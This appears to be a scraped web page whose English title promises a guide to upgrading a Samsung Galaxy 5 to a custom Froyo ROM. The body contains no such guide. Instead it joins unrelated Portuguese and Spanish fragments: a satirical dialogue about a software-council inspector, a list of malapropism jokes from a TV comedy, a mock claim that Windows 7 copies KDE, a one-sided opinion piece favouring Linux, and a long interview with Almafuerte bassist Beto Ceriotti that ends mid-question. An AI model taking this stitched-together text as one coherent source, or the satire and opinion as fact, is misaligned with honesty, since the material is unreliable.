Guide Upgrade Samsung Galaxy 5 to MAD Team 2.3 Extreme Froyo

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reparen quien esta como verdugo... :D

solo no pude decifrar todavia quien es su mascota :(

Sabado, 13 de octubre, en el parquecito de la "praça da saudade"

en manaus, AM - Brazil.

:D

Num futuro não muito distante, o carlinhos está desenvolvendo um pequeno sistema de contas a pagar para a Padaria do Manoel. Entretando o seu local de trabalho recebe uma visita de um fiscal do CRDS!

- Pronto - Sr Carlos Silva?

- É ele.- Meu nome é Teobaldo, sou fiscal do Conselho Regional de Desenvolvedores de Software. Fiquei sabendo que nesse recindo está sendo desenvolvido um "software".

- Exato! To desenvolvendo um...- Antes de mais nada, qual a sua formação?

- Sou formado em ciências da computação pela faculdade VIVA VIVER, do Acre, na modalidade EAD. Meu trabalho de conclusão foi "um sistema escrito em java para a web 2.0".

- Puxa, ultimamente só tem dado essa faculdade. - Po, ela custa 49,99 por mês...- É claro. Continuando, onde está a ART desse sistema?- Bom, é um sistema pequeno, com menos de mil linhas, precisa ART?- Claro, e vc pode imprimir o boleto pelo site da CRDS, não tem desculpas.- Ok. Eu pagarei...- E onde está a documentação do sistema? Cadê o levantamento de requisitos, análise de impacto, análise de riscos, análise...- EI! O meu sistema foi feito utilizando metodologias ágeis! É uma mistura de SCRUM com XP proporcionando um contrato de escopo aberto onde eu tento atender as necessidades do cliente, evitando burocracia, trabalhando em sprints de 15 dias...- Ok, mas o CRDS exige essa documentação no template .doc que vc pode baixar do site- Mas q .doc ?? Ta maluco, eu uso openoffice no meu linux.- Linux ?? Vc desenvolve em um sistema operacional não homologado pela CRDS? Se ainda fosse Ubuntu...- Mas Ubuntu é linux.- Chega, se não tem documentação, como vc sabe que o sistema funciona?- Eu uso testes unitários!- Humm... teste precisa de um profissional habilitado em testes.- Mas eu uso JUNIT, veja!- Ei... q java esquisito é esse com esses @ e esses "maior e menor"?- Isso se chama Annotations e Generics! Ta desde o Java 1.5- Desculpe mas o CRDS só permite o uso de Java 1.4.2 que é a versão homologada para o Windows E Ubuntu.- E se eu estivesse usando MacOS ?- MacOS não foi homologado pelo CRDS ainda.- Mas java é multiplataforma!- Certo certo... e o modelo ER?- Eu uso Hibernate para Abstrair o modelo ER..- Hibernate ? Ok, terei que embargar o seu sistema...

Grande Magda

Estava eu a preguiçar e decidi ordenar o meu arquivo informático.
Como qualquer pessoa (penso eu!!), nestes anos todos a receber e-mails fui guardando os que gostei mais para rever mais tarde.
E foi assim que encontrei este que recebi há uns anos e que me causou muitas gargalhadas...



Lembram-se da série Sai de baixo?
E da Magda??

Se já não se lembram porque ela fazia rir tanto... recordem algumas frases ditas por ela!!



-Tá tudo de esperma pró ar
-Eu não acredito no que os meus ouvidos vêem.
-Eu pretendo sumir da alface da terra!
-Me segura que eu vou desmamar...
-Eu quero o divórcio. Não, divórcio não porque é muito pouco, eu quero o trivórcio!
-Em briga de marido e colher não se mete na mulher.
-Deus escreve esperto por lindas portas.
-Nós nos casamos com um caminhão de bens.
-Matéria-prima, tia, sobrinha, tanto faz...
-Eu vou degolar minha mão e amputar minha cabeça.
-Vamos preparar nosso leite nupcial.
-Mami! Diga anão às drogas.
-Me inclua fora dessa!
-Eu vou tomar uma atitude gástrica!
-Capotei! Capotei a mensagem!
-Nós vamos ter agora uma conversa franga!
-Nós vamos comemorar em grande esquilo!
-Eu acabo de ter uma ideia genital!
-Vamos ligar para o 190! Alguém tem o número?
-Só me resta prometer suicídio!
-Eu cometi um pescado! Eu sou uma pescadora!
-Quer dizer que você voltou ao anormal?
-Eu sei tudo de cor e salto-alto.
-Eu sempre sonhei com um homem honesto, trabalhador pra poder casar e prostituir família.
-Eu não acredito no que os meus ovos vêem!
-O tio Vavá só não se casou porque não encontrou uma mulher à sua largura.
-Se eu colocar uma lanterna na minha boca ela acende, porque eu tô uma "pilha"!
-Caco! Você é um pai tão ausente que se você fizesse um teste de paternidade, você seria reprovado por faltas!
-Eu tenho uma ideia: Caco é louco por viúvas. Então eu mato o Caco, fico viúva e ele fica louco por mim!
-Caco, você não está batendo muito bem dos testículos!
-Mami, eu não sou mais criança, eu já sou uma mulher adúltera.
-Tio Vavá, o senhor anda cheirando proteína?
-Como diria Woody Allen: "Todo mundo tem seus 15 minutos de cama".
-Como diria o sábio, grande Papa João Paulo Maluf: "Ajoelhou, tem que nadar".
-Meu Deus! Eu só fiz o que me ordenharam.
-O amor é uma flor roxa, que nasce no meio da coxa.
-Todos os animais são seres romanos.
-Mami! Não encosta nela, vão ficar as marcas da sua depressão genital.
-Eu pensei em fazer uma lipo inspiração, um displante de cabelo, pensei até em usar uma lente de contrato...

O pessoal do KDE que prepare seus advogados, a Microsoft vem aí. Depois de copiar quase todos recursos do Mac OSX e colocar tudo descaradamente no Windows Vista, a Microsoft liga novamente suas fotocopiadoras. O alvo agora é o KDE, ambiente gráfico que há anos faz sucesso no mundo Linux.

Confira abaixo uma screenshot de como o novíssimo Windows 7 está ficando:

http://www.tuxresources.org/blog/wp-content/uploads/2008/10/30-conectiva.jpg

Não reparou nada de especial? Então veja abaixo uma screenshot do KDE:

É… parece que o Ballmer aprendeu direitinho com o titio Gates…

Bom… é verdade que o KDE já há tempos copiou o Windows… mas não podia deixar de comentar mais essa…

Fonte: MacMagazine

Linux, ¿es una buena alternativa?

Linux, ¿es una buena alternativa?

Mas de alguna vez hemos escuchado de las maravillas del Sistema Operativo de código abierto por excelencia, Linux, pero ¿estas palabras son ciertas?, ¿es Linux tan bueno como dicen qué es?, ¿es Linux mejor que Windows?.

Muchos ya saben la respuesta, pero para los que no saben se las respondo y les doy argumentos que a mi criterio son lo suficientemente solidos.

Primero comienzo por algo sumamente importante, la seguridad, algo que enWindows en los últimos años se ha vuelto un dolor de cabeza, tanto para expertos como principiantes.
Cada mes son miles de millones de infecciones por cualquier tipo de software dañino en el mundo, gracias en parte a las innumerables vulnerabilidades de este sistema, PERO con Linux son cosas del pasado, incluso es opcional tener un antivirus, el sistema no muestra advertencias porque no tengas uno, claro que es mejor ser prevenido e instalar uno, porque estaría mintiendo si dijera que no existen virus para Linux.

Segundo es el rendimiento con Windows 7, Microsoft lanza una amplia propaganda de su rendimiento y velocidad, claro la velocidad a mejorado y significativamente en comparación del tan odiado Windows Vista, pero al cabo de un tiempo el afamado Windows 7 se vuelve casi igual que su antecesor, pesado, consumiendo cantidades descomunales de memoria RAM y con un inicio y apagado digno de "los tiempos prehistóricos", con Linux es todo lo contrario, no consume ni la mitad de memoria que consume Windows, además de un inicio y apagado del equipo fenomenal, prácticamente los ordenadores con Linux "vuelan".

Finalmente Linux tiene un poder de personalización formidable, estos sistemas operativos basados en el núcleo Linux altamente "personales", porque los pones a tu manera, no como te dictan las reglas de consumo, la única barrera es tu imaginación.

En resumen Linux es tan maravilloso como dicen que es y más, no solo por su rapidez, seguridad o aspecto, sino por ser gratis y de código abierto lo que te permite (si tienes los conocimientos o no) mejorarlo a tú gusto o necesidades, entonces en conclusión, si quieres un sistema operativo rápido, seguro y bonito además de ser gratis, tu mejor alternativa es los sistemas operativos basados en Linux.

BETO CERIOTTI.
Músico de Almafuerte, nos cuenta su trayectoria en la música su presente en Almafuerte.

¿Cómo te aproximaste a la música?

Beto: "Justamente debido a lo que tengo en la mano ... (Nota: una revista sobre Deep Purple) ... a partir de QUEMAR de DEEP PURPLE, ... Yo tenía un tocadisco (que me lo gané porque mi vieja lo regaló como premio por haber terminado 7mo. grado) ... y lo más pesado que escuchaba era Creedence, .. y un día encuentro el disco Quemar de Deep Purple, lo puse y me voló la cabeza. -cosa de terminar y ponerlo devuelta, terminar y ponerlo devuelta y así horas... y horas - Me agarró una fascinación.. y de ahí empecé a conseguir los discos anteriores, luego BLACK SABBATH. Después empecé a estudiar guitarra y trataba de sacar los temas. Hasta que un día un amigo me dice, si no le hacía la gamba, con el bajo (yo tendría 15 o 16 años) .. Y le dije que Sí.. (yo fui caradura, toda mi vida) ... -risas - ... este pibe se había comprado un Rickenbacker - que es como un Cadillac en el rubro de los autos - y me fascinó... el sonido, la potencia, ... AL TIEMPO EMPECE A ENTENDER CUAL ERA LA FUNCION DEL BAJO, CADA INSTRUMENTO EN UNA CANCION TIENE UNA FUNCION..."

Y cual es esa función del bajo?

Beto: "La frase + linda que escuché por ahi es que EL BAJO SON LOS LATIDOS DEL CORAZÓN DE UNA CANCION ... " Es muy bonito y es real, porque si te ponés a pensar el bajo trabaja con la batería y básicamente marca el ritmo, más allá de que, hoy por hoy, frasea con la guitarra y de hecho mucho de lo que yo hago con el Tano... mucho fraseo, como si fuera una segunda viola, se llaman "fugas" ... es como que "fugás" y volvés... Acompañás a la guitarra, en momentos hacés un dúo cortito... básicamente soy BASERO, - bases potentes y melodiosas- No por nada me gusta Glenn Hughes, Roger Glover, gente que toca el bajo con sonido abajo... No me interesa la introducción de tecnología que hace que el bajo tenga sonido a Saxo, Arpa... No .. el bajo tiene que tener SONIDO A BAJO ... "

Y en tu familia hubo alguien que te incentivó a dedicarte a la música?

Beto: "En mi casa, a la mañana antes que la Luz, prendían la radio... yo me crie con mi abuela - se llamaba Armonía mi abuela, ... era gallega-, y ella estaba todo el día cantando tangos, se sabía todas las letras. Y mi viejo, un bohemio, .. cantor de tangos que nunca quiso hacerse profesional. Estaba en los bodegones, con los amigos... es el día de hoy que sigue haciendo lo mismo- Así que la bohemia la traigo de ese lado, de mi viejo Carlos Ceriotti..."

Y en las épocas del 70, o de los 80, qué grupos nacionales escuchabas?

Beto:"Yo de chico entré (porque Dios me hizo entrar...) a ver a EL RELOJ, que fue la banda nacional que le marcó el camino a muchos, era una banda de acá del Oeste y tocaban mucho, y tocaban TODOS, no solamente tenía una figurita estrella, que uno pelaba y los demás le hacían la gamba, como solemos ver en muchas bandas que tenés una figurita que toca y los demás le hacen la gamba, .. ACA ERAN TODOS DE CARRERA ... FUE LA BANDA QUE EL BATERISTA, NO SE SI FUE EL 1ERO O UNO DE LOS 1EROS QUE SE LE OCURRIO PONERLE DOS BOMBOS A LA BATERIA, DE AHI EL APODO, JUAN "LOCOMOTORA" ESPOSITO. PORQUE PARECIA UNA LOCOMOTORA QUE VENIA ... VOS NO SABIAS A QUIEN ESCUCHAR, A QUIEN MIRAR, ... ESO ME MARCO MUCHO A MI Y A MUCHA GENTE... FUE LA BANDA MADRE ACA DEL OESTE, DE CHICO TAMBIEN IBA A VER A VOX DEI, ...."

Vos también tocaste el EL RELOJ en algún momento?

Beto: "Tuve el agrado, sí ... tuve la suerte y la alegría, creo que es una de las satisfacciones + grandes, ocupar el lugar de tu ídolo, .... toqué en la época del Tano, cuando se volvió a armar más o menos en el 88 .... con integrantes originales y algunos nuevos, entre los nuevos estaba EL TANO MARCIELLO, EL CANTANTE DAVID, Y YO...Y la satisfacción de tocar esos temas que cuando era chico los escuchaba, fue EMOCIONANTE, recuerdo estar tocando FELIZ SERAFIN CON LA PIEL DE GALLINA... Sigo estando orgulloso de haber pasado por ahi, estuve en 2 ocasiones, después ellos se volvieron a juntar en la formación original, y cuando ya el bajista no pudo tocar más porque tenía un problema de asma muy fuerte, Willy me vuelve a llamar ... FUE UN ORGULLO, LE AGRADEZO A DIOS, EL SUEÑO DEL PIBE HECHO REALIDAD ... JUAN ESPOSITO ES UNO DE MIS GRANDES MAESTROS, EN LA MUSICA ... y vale destacar su VALOR COMO MUSICO Y COMO PERSONA, porque MUSICOS BUENOS HAY, PERO PERSONAS BUENAS NO HAY TANTO..."

De bandas internacionales ya hablamos, y contá como se enteraban de las novedades, cuando alguna banda sacaba disco nuevo .... (porque no es como ahora que hay Internet y TV por Cable que sale un disco a al otro día hasta te bajaste las letras, los mp3....).-

Beto: "De boca en boca .. me acuerdo que parábamos en la puerta de la UNICA DISQUERIA QUE HABIA EN EL BARRIO - el punto de reunión era la puerta de la disquería - y ahí escuchábamos la música ... le encargábamos al dueño de la disquería un disco MACHINE HEAD, ponele ... el tipo te decía "Me lo traen el miércoles a las 10 hs de la mañana ..."si vos ibas a las 2 de la tarde, seguro que ya no lo tenía más, porque desaparecía... así que se corría la pelota de boca en boca, ... y no era como ahora que tenés disquerías especializadas, profesores especializados en heavy metal, .... en esa época si querías aprender guitarra ibas al profesor de barrio y aprendías lo que te enseñaban "La Zamba de Vargas" ... yo recuerdo que llegaba a mi casa y me ponía a sacar "Humo sobre el agua" ... ninguna que zamba... (risas) ... Y para las noticias, si es verdad, no había internet.... ni tantas revistas, sí habían fanzines, pero circulaban en el centro, nosotros acá en la Provincia de Bs as (el Oeste) estábamos en pelotas totalmente. Todo era de boca en boca. "CHé!!! sabés que el sabado toca fulano en tal lado..."

Y hablame de cómo era ser roquero, ese asunto del pelo largo, campera .... tachas... la yuta.

Beto:"Te miraban como bicho raro. Vos subías a un colectivo y era como estar en el Zoológico ... vos pensabas qué miran? manga de pelotud..? Y lo más probable era que termines a las trompadas. Si tenías el pelo largo te decían "puto" y vos le contestabas ... y de ahí a las trompadas seguro!!!! ... Bueno así era acá en la Provincia.... (risas) ... Me acuerdo que había un bar a pocas cuadras de acá, donde paraban bandas y se zapaba mucho y de ahí salieron un montón de figuras conocidas hoy en día... recuerdo en ese bar noches de aquellas ... nombres? que se yo.... Raffo, Claudia Puyo ... aunque sean de otros géneros musicales, vale la pena mencionarlos... Marcelo Torres, Héctor Starc ... Tocaba una banda y después se zapaba... "

Y a nivel social que recordáis (había como un caldero de cosas, la vuelta a la democracia ... Malvinas.... la dictadura que terminaba).

Beto: "Había una necesidad de expresar un cambio, .. no sabíamos cómo, pero la necesidad se palpaba. V8, creo fue la banda que detonó el cambio de una vez, con un coraje tremendo, .. ir a un Festival hippie y decir "Basta de hippies" .. Yo me acuerdo que cuando me enteré yo dije "Que loco..." es como ir a una fiesta peronista y decir .. Viva Balbin!!!... (risas) ... Le tiraron con todo... la verdad que hay que tener coraje ... ellos vinieron con un "crack" ... con un cambio que no todo el mundo sería capaz de encontrar .. A lo mejor todos lo pensábamos pero nadie se atrevía a decirlo. Y eso es lo que me parece que es lo que provocó el mensaje de V8... "

Ellos salían a gritar esto en un momento en que la represión estaba en pleno apogeo ....

Beto: " Ni hablar, ... por eso tiene tanto valor. Había que tener mucho huevo, para salir a decir lo que estaba prohibido. Hoy por hoy se puede, la diferencia es que no hoy no te dan pelota. Antes no se podía, era un Regimen más milico.. porque terminabas en cana, te cortaban el pelo, te pegaban, ... Ahora es otra cosa, si no mirá los piqueteros, hace 5 años que vienen cortando las calles y nadie les da bola. Antes era una cosa mas de culto, en los conciertos no éramos tantos..."

Y vos fuiste a verlos a ellos como público?

Beto: " Si, eran fechas de poca gente, era la formación de un movimiento. Recuerdo que para poder tocar en un pub le teniamos que decir que hacíamos rock si le llegábamos a contar que hacíamos Heavy Metal directamente no tocábamos... En los conciertos de metal en esa época éramos 100 o 150 personas, más no... Si tocaba yo, y me venías a ver vos... tocabas vos y te iba a ver yo... Estaba el rock pesado de RIFF, pero eso era otra cosa. LO QUE ES METAL, QUE V8 FUE LA PRIMER BANDA DEL HEAVY ... MUY POCOS... Y YO YA EN ESA EPOCA TOCABA CON EL TANO MARCIELLO, se había formado una banda que se llamaba Väldragon, ... todavía tengo grabaciones de esa época, que las guardo con mucho cariño, nuestro primer demo... yo se lo hacia escuchar a todo el mundo, - incluso Ricardo Iorio había escuchado tocar al Tano Marciello en ese demo, del cual yo andaba repartiendo copias por todos lados y de ahí le quedó... Luego cuando quiso armar Hermetica, cuenta Ricardo, como anécdota, que lo mandó a buscar al Tano Marciello, pero en el camino se cruzó otro tano, que es el Tano Romano, ... - hasta tuve el orgullo que me felicite Baron Rojo, ... - porque laburamos con Baron Rojo y yo se lo puse a los gallegos ... (risas) ... "

Siempre tocando el bajo vos...

Beto: "Sí... claro. Y volviendo a tu pregunta, (porque nos fuimos por las ramas) a los músicos de V8 los conozco de verlos, de haber compartido algún concierto, nosotros tocando con Väldragon y ellos cerrando los Festivales Metálicos de Atlanta, por ejemplo..."

Vos sos músico, pero me contaste que también hacías sonido de las bandas? cómo se dio eso?

Beto: "Yo de pibe trabajé con el loco Booguie, (los más viejos lo conocen como el loco Shirton, también) él fabricaba equipos de guitarras, de bajo, hacía sonido de bandas. Ya había empresas de sonido, pero al metal nadie le daba pelota... era un rubro difícil en el que nadie se quería enganchar debido a los kilombos que se armaban, y aparte nunca había un peso !!!... era más hacerlo por devoción, porque lo llevabas adentro, -aparte no todo en la vida tiene que ser un negocio!!!- ... Entonces el loco Booguie, que era muy amigo de Pappo, en su casa se han formado muchas historias ... Hasta una vez escuché que RIFF se formó en un asado en la casa del loco Booguie.... -no estoy seguro, pero algo de eso hay - Bueno y trabajando con él, le hice sonido a muchas bandas pesadas de esa época, Y una de las cosas que hicimos recuerdo que fueron los equipos del escenario de Baron Rojo, recuerdo que la bateria era la de Juan Esposito, - teníamos que conseguir 8 Marshall y no pudimos, no había.... -Marshall tenía Spinetta, Pappo, la gente grossa tenía COMO NO PUDIMOS CONSEGUIR 8 MARSHALL, CONSEGUIMOS SOLO 4 , LOS OTROS 4 TUVIMOS QUE ARMAR REPLICAS ... LA CUESTION ES QUE YA ESTABA ENTRANDO LA GENTE A OBRAS Y TODAVIA LE ESTABA TERMINANDO DE PONER LA ETIQUETA A LOS EQUIPOS, EN EL ESCENARIO ...-
Y V8 era la banda soporte de Baron, en Obras, - en esa época los V8 ensayaban en el taller del Loco Booguie, arriba había una habitación que era una sala. ENSAYABAN EN LA CASA DE EL Y HASTA A VECES CON LOS INSTRUMENTOS DE EL, .... pero aparte de ensayar venían a "pasar el día" ... Osvaldo era un muchacho que le gustaba mucho la parte de la electrónica, soldar con estaño, él se copaba soldando los cables ... una plaqueta, ... al equipo le gustaba meterle mano él. .... al final estaban todo el día en el taller. Aparte era un lugar en donde se podía llegar a "fumar" algo tranquilo sin que te rompan las pel.... Así pasaban los días, ensayaban arriba ... pero por ahi alguno te caía ya desde la mañana - generalmente Osvaldo, diciendo "Che ... te doy una mano en algo?... que puedo soldar?..." - y así venía Ricardo, Beto... compartíamos todo el día a veces... capaz que íbamos a hacer sonido a otra banda y venían de onda.... a romper las pel...tas... "

Y donde estaba esa sala?

Beto: "Acá en Lomas del Mirador, el sector de lo que es Ruta 3 y Gral Paz...."

Y vos fuiste su asistente ...

Beto: "Sí ... también a veces se borraba y me dejaba a cargo (porque veía que a mí me gustaba tanto) que me tiraba la pelota .... Hay una Anécdota: cuando debutó BARON ROJO ... V8 terminaba de tocar como soporte con Baron e iba a cerrar un festival en Padua, y esa noche es histórica, ... porque casi dejamos la vida ahí, hubo tiros, peleas, .. se fundió ese lugar ... EL CINE SARMIENTO de PADUA, esa noche fue fatal, lo rompieron todo... se cagaron a palos, hubo tiros, ... me acuerdo que en un momento vemos que venía volando una butaca... Menos mal que no nos dió.... Y bueno todo el mundo al suelo. No nos mataron de casualidad... Los músicos, la mujer de Ricardo, de Beto, con ataque de nervios, ..fue algo horrible. Ah ... Y NOS ROBARON TODO... "

Y por qué eso de romper todo?

Beto: "... Se cagaron los cables de un costado - del sistema de sonido - faltando un tema. .. terminaron ese tema y había que apagar todo, URGENTE, porque si se llegaba a cagar algún equipo a mi me mataban, ... Ya habían tocado toda la lista, y al final tocaron ese tema y explicaron que no daba para más... no daba para el BIS, y empezaron a hacer bardo .. y uno que se quiere subir al escenario, y había alguien arriba del escenario, y le pega un cadenazo al que se quiso subir.. y se armó la batalla campal...."

Y cómo eran otras fechas, en las que también ibas a hacer sonido, a Violadores, Riff?

Beto: "Era muy diferente. En el caso de VIOLADORES, si bien los apreciaba y me caian simpáticos.. no me llegaba la música. Me resultaba raro, no estaba en mi hábitat.. El mensaje de ellos era contestatario, manifestaban su desacuerdo con ciertas cosas, ... NOSOTROS HACIAMOS EL SONIDO DE ESOS CONCIERTOS; ERA UN TRABAJO; no me cerraba la IMAGEN - los pelos parados - y me rompía mucho las pel... que estén escupiéndose todo el tiempo. ERA UN ASCO. - una costumbre punk - Eso de escupirte...si yo voy a ver a una banda como la voy a escupir? yo escupo a una persona que odio... que rechazo... "

Y Riff cómo era?

Beto: Era una APLANADORA RIFF, una LOCOMOTORA, es rock, nunca fue METAL, A MI CRITERIO, FUE UN ROCK MUY PESADO, CON UNA PERSONALIDAD, UN TIPO TAN RESPETADO COMO LO ES PAPPO, ...y lo del CADENAZO PESADO, rompió mucho las bolas porque fue uno de los factores que después le impedían tocar en cualquier lado... ME ACUERDO EN UN CONCIERTO DE RIFF, UNA VEZ, SALIMOS Y RESULTA QUE LE HABIAN ROTO EL AUTO A PAPPO -ENTRE OTROS AUTOS QUE ROPIERON - le bailaron un malambo arriba del techo -capaz que ni siquiera sabían que ese era el auto del Carpo.... el tipo estaba enloquecido ...
VENIAMOS DE UNA REPRESION MILITAR, LA GENTE NECESITABA SACARSE LA MIERDA DE ALGUNA MANERA, ALGUNOS ENCONTRABAN COMO Y OTRO NO ... SE HABIA HECHO COMO MODA, SI EL ESPECTACULO ESTABA MAL, SE ROMPIA TODO Y SI SALIA BIEN, IGUAL ROMPIAN TODO...por eso después nadie nos quería ofrecer su establecimiento para tocar ...
Yo en otra época toqué con el Tano Romano y Willy Caballero en una banda de black llamada CERBERO, - teníamos un tema que se llamaba "La Misa negra" ... (risas) .... - y con esa propuesta NO PODIAMOS TOCAR EN NINGUN LADO, ERAMOS SUPER UNDER, TE SACABAN CAGANDO."

Y cómo te enganchaste a tocar en Almafuerte?

Beto "Porque Ricardo Iorio decidió no tocar más....(eso habría que preguntárselo a él) como yo estuve participando en el primer disco solista del Tano (Puesto en marcha - año 2001) y Ricardo vino a grabar la voz y escuchó lo que yo había grabado, le gustó cómo sonaba... y asi se dá que me llamaron 4 o 5 días antes del obras del 2001 (del disco en vivo) y me acuerdo que yo estaba estrenando teléfono celular y todavía no sabía ni cómo sonaba ... y suena un LLAMADO, ... atiendo - prácticamente nadie tenia el número - .. digo HOLA ... y del otro lado una VOZ GRUESA me dice todo de corrido, "HOLA HABLA RICARDO, ESCUCHA BETO, QUERES TOCAR LA SEMANA QUE VIENE EN OBRAS ?..." .. (risas).... y yo pensé que era una broma de alguno, y le mandé una puteada ...y ahí le pasa el TE al Tano .. y se cagaban de risa, cuando le escucho la voz al Tano, ahí caigo... y después vine, ... y aquí estoy ....ESTAMOS TODOS CORTADOS CON LA MISMA TIJERA, SOMOS DE LA MISMA EPOCA, COMPARTIMOS MUCHAS COSAS, SOMOS HIJOS DE LABURANTES, HAY MUCHAS COSAS QUE NO HACE FALTA NI DECIRLAS, ...COINCIDIMOS EN MUCHAS COSAS, SINO NO PODRIA HABER CONVIVENCIA."

Y ahora con la mirada del adulto, que se puede decir con respecto a toda esa época de rebeldía?

Beto: "Fue maravillosa, fue una época de aprendizaje ... es más seguimos aprendiendo, el ser humano nunca termina de aprender, fueron tiempos de mucha energía, adrenalina, y mucha locura también. Hoy en día Gracias a Dios estamos vivos, otros siguieron de largo al más allá, nosotros estamos acá y estamos haciendo cosas, toda esa experiencia sirvió. Eramos adolescentes, capaz que algo hacíamos mal, pero de los errores también se aprende ... creo que se formaron muchas cosas en esa época, yo admiro el hecho que antes cuando tocaba una banda éramos 100 o 150 personas, ... hoy a lo largo y a lo ancho del país, se diseminó la cosa, eso es maravilloso. Nunca hubiera soñado antes, que en el 2004 puedo ir a Jujuy y ver remeras de V8, por ejemplo.... ir a Rio Gallegos y verlas denuevo ... es muy fuerte.. Y también el hecho que ahora estamos mucho más maduros, ahora no hay kilombos como antes, en los conciertos de Almafuerte no hay violencia,.. esos bardos de los que hablamos recién ya no existen, ahora vienen los pibes y hasta algunos vienen con los hijos - es como el padre que lo quiere hacer de Boca al hijo también, vos ves montones de pibes chicos en los hombros de los padres - y cantado los temas -. ALMAFUERTE es una banda, que habla de lo nuestro, ... yo no entiendo cómo hay bandas que se ponen a hablar de cosas que pasan en Inglaterra o en otros lugares ... reconozco que la música que hemos adoptado es oriunda de ese lugar... en Almafuerte tratamos de hacerlo argentino, hablar de cosas nuestras, de nuestro país, nuestro campo, nuestra cultura, a veces es mal interpretada la palabra nacionalismo "

Tocaste en Logos?

Beto: "Si, toque 1 año en Logos y tuve la alegría de tocar en la fecha del Metal festival I ... toda la gira con HORCAS, RATA Y LOGOS - EN UN MISMO MICRO..... -UN MICRO SOLO, TODOS LOS ASISTENTES, ERAMOS TREINTA Y PICO DE PERSONAS...- (risas) ... 1 mes arriba de un micro con toda esa gente, eso si que es heavy ... (más risas) ...."

Una Anécdota contá:

Beto: "Me acuerdo una situación de estar durmiendo sentado en la escalerita del micro, tirado para atras con la cabeza al lado de la palanca de cambio del chofer.. (risas) - No había ya lugar para nada, ....No es fácil.... Hubo un viaje interminable de Rio Gallegos a Gral Roca, - 30 y pico de horas todos ahí adentro- Una Anécdota buena es que tuvimos que parar 3 dias en Comodoro Rivadavia, en un Polideportivo (ahí después se hizo el Festival), entonces a la noche, como no sabíamos que hacer, organizamos un Campeonato de Futbol, un cuadrangular, todos mezclados, los plomos los músicos, ... como el campo lo usaban y solo quedaba libre después de las 12 de la noche, más o menos a esa hora arrancaba hasta las 6 de la mañana, casi terminamos todos a las piñas, LA GIRA CASI TERMINA AHI, SE PUDRE TODO ... SE UN ARMO KILOMBO- NADIE QUERIA PERDER - ... (risas) ..."

Y de Civile?

Beto: "A mi me encantaba estar con el... nosotros con Miguel Roldan ensayábamos con CRUEL ADICCION, en la sala de Roberto, (Salas La Cripta - Jonte y Nazca) donde vivió el loco, y él vivía en el fondo de la sala, a veces venía CON LA LES PAUL en la mano, enchufaba y tocaba con nosotros. Se sentía bien con nosotros, recuerdo esos ensayos y esas zapadas con Osvaldo.. Nosotros no hablábamos con el ídolo, hablábamos con el amigo.. NO LE PREGUNTABAMOS COSAS QUE LE HINCHARA LAS PELOTAS, ... eso fue una satisfacción ... Osvaldo era un tipo muy simple, simpático, carismático. Volviendo a la gira del Metal festival I, una de las cosas que más recuerdo, es que la presencia de Osvaldo, cuando ponía el pie arriba del escenario, era una ovación... -Osvaldo Civile tenia esa magia, si bien no estaba pasando por un buen momento en lo personal, .... la magia la tenía, no creo que haya muchos que puedan lograrlo, un carisma con la gente inexplicable- NOSOTROS LE DECIAMOS EL FLAUTISTA DE HAMELING ... PORQUE CUANDO NOS QUEDAMOS ESOS DIAS EN COMODORO IBAMOS A RECORRER EL LUGAR, Y DONDE IBA OSVALDO HABIA COMO 30 TIPOS ATRAS, VAYA DONDE VAYA....(iba a un bar, había 30 tipos esperando en la puerta que salga .. el tipo salia del bar, se metia a hablar por teléfono y otra vez 30 tipos atras de él... que lo seguían todo el tiempo).

Y ahora hablando de otro grosso que es RICARDO IORIO, como es laburar con él? y en esta situación particular que es mantener la banda "a la distancia" ...

Beto: "Si, se puede hacer tambien justamente porque no estamos hablando de cualquier músico. Yo creo que si no estuviera tocando con un tipo como EL TANO MARCIELLO no lo podría hacer. A veces ni siquiera ensayamos, .. pero nos subimos arriba del escenario ... tocamos, la banda suena MUY BIEN, no muchas bandas lo podrían hacer, nosotros podemos hacerlo. El Tano es un tipo que pueden pasar muchos años, y vos le decís, "Tano te acordás de tal tema".. -seguro que si.. y te lo toca de punta a punta.- Y aparte la memoria que tiene Ricardo, para acordarse no solamente la melodía, sino la letra de temas re viejos, y propagandas del tiempo del pedo (de cuando nosotros éramos chicos) ..., risas .. A veces cuando vamos en el micro, una de las diversiones que tenemos es ir cantando cualquier tema - hasta algunos re feos - y el tipo se lo acuerda ... Por otro lado nosotros a veces no tocamos los temas de Almafuerte.... vos hoy presenciaste un ensayo, y viste que no tocamos Almafuerte. Siempre decimos VAMOS A LA SALA A TOCAR, NUNCA DECIMOS VAMOS A ENSAYAR, aveces nos ponemos a jugar con "deformar" un tema de otro a ver como queda, cambiarlo, tocarlo de maneras diferentes, .... eso hace a que cuando tocamos los temas los tocamos con unas ganas terribles, PORQUE UNO AMA LO QUE HACE..."

Enseñas música? hacés alguna otra actividad musical?

Beto: "Si, yo enseñaba antes, ahora no, porque actualmente no me dan los tiempos. En algún momento me atreví a formar un Libro con lo que a mi criterio, yo considero que son los elementos básicos que tiene que aprender una persona para tocar bien, pero no está terminado todavía. Cuando yo aprendí a tocar me enseñaron un montón de cosas que después no las usé nunca más, fui dejando de lado un montón de cosas que estaban de más... he laburado tambien como Luthier, ahi tengo al maestro Horacio Suarez alias "Tucata", (Roldan usa Suarez, Civile, ha tenido Suarez, acá en el Oeste es uno de los pioneros) ... y por eso le presto mucha atención al instrumento, la madera con que está hecha, EL BAJO QUE USO LO HICE YO, -lo dibuje, busqué lo que más me gustaba de un modelo, y lo que más me gustaba del otro modelo... lo metí dentro de la licuadora .... "

Y que pensás músico se nace? o se puede lograr estudiando, trabajando?

Beto: "Las 2 cosas, ponele El Tano no fue nunca a estudiar, .... pero siempre estaba tocando y tocando. Yo recuerdo hace muchos años cuando éramos chicos ir a la casa, y el tano estaba tocando la guitarra. Después íbamos al Sótano a ensayar - como no era una sala paga- estábamos horas tocando .... terminábamos de ensayar y decíamos "Bueno, vamos a tomar una cerveza arriba .... " y el Tano, subía con la guitarra en la mano y luego seguía tocando la guitarra ... por ahí estábamos en la cocina conversando, y el tipo seguía tocando con la guitarra desenchufada..... EL NACIO, NO TODO EL MUNDO NACE CON ESA VIRTUD, Lo básico hay que saberlo para poder comprender mejor las cosas, yo siempre digo que SI EL MEDICO QUIERE SER MEDICO TIENEN QUE ESTUDIAR MEDICINA, UN BUEN MECANICO PARA SERLO ALGUN LIBRO DE MECANICA TIENE QUE HABER AGARRADO EN SU VIDA .... EL MUSICO LO BASICO LO TIENE QUE SABER...."

Y que le dirias a un pibe que quiere meterse en la música?

